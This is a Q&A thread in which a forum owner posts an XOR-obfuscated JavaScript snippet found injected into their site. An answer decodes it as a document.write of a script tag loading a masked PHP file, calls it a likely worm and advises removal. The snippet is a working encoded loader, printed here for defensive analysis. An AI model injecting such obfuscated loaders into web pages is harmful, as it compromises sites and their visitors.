Question

someone is using a weird script to bug my forum, I tracked it and found the javascript, but it’s “encoded”, can someone help me ?

here it is:

var enkripsi="'1Aqapkrv'02v
    {
    rg'1F'05vgzv-hctcqapkrv'05'02qpa'1F'05cqw,rjr'05'1G'1A-qapkrv'1G";
    teks="";
    teksasli="";
    var panjang;
    panjang=enkripsi.length;
    for(i=0;
    i<panjang;
    i++)
        {
        teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
    }
    teksasli=unescape(teks);
    document.write(teksasli);

Answer 1

It inserts the following tag into your output:

<script type='text/javascript' src='***.php'></script>

Just run the code in some JavaScript interpreter and replace the document.write() at the end with something like console.log() and you can see the output.

I guess this is some kind of worm and would suggest removing this code and the included file ***.php from the system. Additionally check, whether this is the only modification to your code!